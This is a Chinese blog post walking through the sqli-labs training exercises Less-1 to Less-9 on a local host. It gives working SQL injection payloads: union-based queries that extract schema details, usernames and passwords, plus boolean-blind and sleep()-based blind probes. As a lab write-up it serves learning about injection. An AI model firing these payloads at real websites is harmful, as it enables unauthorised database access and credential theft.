首页 > 数据库 >【sqli-labs】学习--待续

【sqli-labs】学习--待续

时间:2022-10-09 21:01:21浏览次数:48  
标签:待续 Less labs sqli 输入 --+ sql id select

预备知识:

  • 数字型注入:

    这种sql语句中处理的是整型,不需要使用单引号来闭合变量的值。

    首先输入id=1',此时因为不是整型,sql语句会执行出错,抛出异常。

    然后输入id=1 and 1=1,此时语句正常执行,页面无反应。

    最后输入id=1 and 1=2,此时语句正常执行,但是查询不到结果,返回数据跟原始网页存在差距

    以上三点,基本可以证明为数字型注入。

  • 字符型注入:
    首先输入admin’,因为本身存在引号闭合,所以多了一个引号,执行出错。

    加上注释符号,mysql存在三种注释符号:-- # /**/(其中--要求和注释文字之间要有空格符,所以一般用--+),比如输入admin' --+成功,改成 admin' and 1=2 --则会报错

    因此基本可以判断为字符型注入。

    字符型对数字不敏感,id='1 and 1=2',也会继续执行id='1'的结果

Less-1:

  • 输入id,有回显:

    image-20221007170651041

    说明存在select * from xxx where id='$id'

  • 输入引号有报错,说明引号被sql语句执行了:

    image-20221007170726759

    limit 0,1表示从第0行开始提取一个数据。

  • 输入id=1'--+,执行成功,说明是字符注入,sql语句中闭合的引号被--+注释了。

    image-20221007194829554

  • 接下来看表中有几列数据

    order by 3显示正常:

    image-20221007195210774

    order by 4显示错误:

    image-20221007195253092

    说明表中存在三列数据,因为没有第四列,不能根据第四列进行排序。

  • 接下来查看回显位在哪

    因为页面上的显示并不显示查询到的所有列,只有其中一两列。

    输入id =444 'union select 1,2,3 --+:

    image-20221007202936354

    可见回显位为第二列和第三列,id=444是为了使得union前面的查询结果为NULL。

  • 开始查询数据库名以及表名

    • 查询数据库:

      union select 1,database(),3
      

      image-20221007203354011

      说明数据库名为security。

    • sql 5.0以上版本中存在information_schema()数据库,其中保存了所有数据库的信息 :

      union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')
      

      image-20221007205304097

      可见表名为emails,referers,uagents,users。其中group_concat()用于将所有结果列出。

    • 查询列名:

      select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')
      

      image-20221007205459078

      可见几个列名。

    • 查询用户名:

      select 1,2,(select group_concat(username) from security.users)
      

      image-20221007205711148

    • 密码:

      image-20221007210003759

Less-2:

  • 1有回显,1 and 1=1有回显,1 and 1=2显示如下:

    image-20221007210210146

    可见是数字型注入。

  • 那么下面的步骤只需要直接在id号后面进行union即可。原理同上,不再赘述。

Less-3:

  • 测试可得到id=(''),因此只要将语句改成:

    id=66') union select 1,2,3--+
    

    后面同上。

Less-4:

  • 直接测试id=1",可见报错:

    image-20221008214517519

  • 说明后端代码中sql语句应该为id=(""),所以只要将语句改成:

    66") union select 1,2,3 --+
    

Less-5:

  • 测试id=1 显示正常:

    image-20221008215012148

  • 测试id=1'显示错误:

    image-20221008214955298

  • 测试id=1'--+显示正常:

    image-20221008214940131

    至此基本上可以确定为字符型注入,单引号闭合,并且没有回显。

  • 测试id=6,没有输出,因此为布尔盲注:

    image-20221008215544617

  • 判断列数为4列:

    image-20221008215716526

    image-20221008215730606

  • 查询数据库名第一个字母:

    http://127.0.0.1/sql/Less-5/?id=1' and left((select database()),1)<'t'--+
    #left((select database()),1)用于分离查询结果的第一个字母,使用二分法查找
    

    可见数据库第一个字母小于t。

    image-20221008220256328

    输入>t时查询显示错误:

    image-20221008230821327

  • 爆破表名,在爆破第四个表名时,发现为users:

    http://127.0.0.1/sql/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),2)='us'--+
    #limit 3,1用于限制此时为第四个表
    

    后续则同样从information_schema中查询即可。

Less-6

  • 输入id=1",显示错误:

    image-20221009201303292

    当输入1"--+时显示正确,说明是双引号闭合的字符型注入。

  • 后面同上即可

Less-7

  • 输入id=1"--+,可得为字符型注入:

    image-20221009202020509

    可以使用布尔盲注,题目要求使用outfile

  • 描述一下数据库file和into/outfile命令

    数据库file权限用于限定用户向OS写入和读取文件的权限,

    into/outfile命令用于对文件的读写

Less-9

  • 首先判断为字符注入:

    image-20221009203622072

  • 然后测试1',1'--+等全返回一样,所以尝试时间盲注

    只有输入:http://127.0.0.1/sql/Less-9/?id=6' and sleep(10)--+时才有延迟,
    输入:http://127.0.0.1/sql/Less-9/?id=6 and sleep(10)--+时没有延迟
    
  • 爆破表名:

    输入:
    http://127.0.0.1/sql/Less-9/?id=6' and sleep(10) and left((select database()),1)>'t'--+
    此时不会延迟,说明数据库名第一个字母<t,因为语句执行错误,不会执行到sleep(10)
    

    剩下同less-5。

标签:待续,Less,labs,sqli,输入,--+,sql,id,select
From: https://www.cnblogs.com/capz/p/16773654.html

相关文章

  • centos7 sqlite-安装升级编译安装
    centos7sqlite-安装升级编译安装升级-编译安装wgethttps://www.sqlite.org/2019/sqlite-autoconf-3290000.tar.gztarzxvfsqlite-autoconf-3290000.tar.gzcdsqlit......
  • CnetOS 7.9 安装 sqlite3
    一、CnetOS7.9安装sqlite3地址https://www.sqlite.orghttps://github.com/sqlite/sqlitehttps://www.sqlite.org/2022/sqlite-autoconf-3390400.tar.gz wg......
  • WannaCry详细分析,未完待续
    样本基础信息:MD5值:DB349B97C37D22F5EA1D1841E3C89EB4SHA1值:E889544AFF85FFAF8B0D0DA705105DEE7C97FE26CRC32:9FBB1227 行为分析:——行为分析——网络行为 ——......
  • 线性代数——矩阵的运算(未完待续)
    矩阵的幂运算定义:设A为n阶矩阵,\(A^k=A*A*A...\)定义为A的k次方幂性质:1.\(A^k*A^l=A^{k+l}=A^l*A^k\)2.\((A^k)^l=A^{kl}\)3.\((AB)^k!=A^kB^k\),矩阵乘法并不满足交换......
  • 2022.10.3线段树复习笔记(未完待续)
    线段树原理及存储:如图,1即为根节点,存储着[1,5]的整个区间和,‘1’为左边界,‘5’为右边界,所以此节点表示的是[1,5]这个区间。线段树的每个节点向下二分,左儿子的编号为此节......
  • sqlite3 的配置文件
    众所周知,sqlite3不需要配置就可以工作的很好,直接下载解压就可以使用。如果想更方便使用,一般会配置一个环境变量path,方面命令行启动。但是启动后,为了显示表头,更改其他显示......
  • sqli-labs-master/Less-1解题过程
    1.安装好环境后,打开http://127.0.0.1/sqli-labs-master/Less-1/看到如下图片2.根据提示输入id的值如下(?id=key),发现id的值变化时,页面显示的内容也会变化3.由于上面的......
  • Ubuntu 20.04中安装使用SQLite3
      1.Ctrl-Alt-T打开终端2.安装sqlite3sudoapt-getinstallsqlite3libsqlite3-dev3.创建数据库sqlite3mysqlite.db4.创建数据表CREATETABLEmyTable(idINT......
  • sql-labs less34--less41
    less34汉addslashes()函数返回在预定义的字符前添加反斜杠的字符串。预定义字符是:单引号(')双引号(")反斜杠(\)NULL提示:该函数可用于为存储在数据库中的字符串以及数据......
  • Python SQLite3 基本操作类
    #!/usr/bin/envpython#encoding:utf-8"""@version:v1.0@author:W_H_J@license:ApacheLicence@contact:[email protected]@software:PyCharm@f......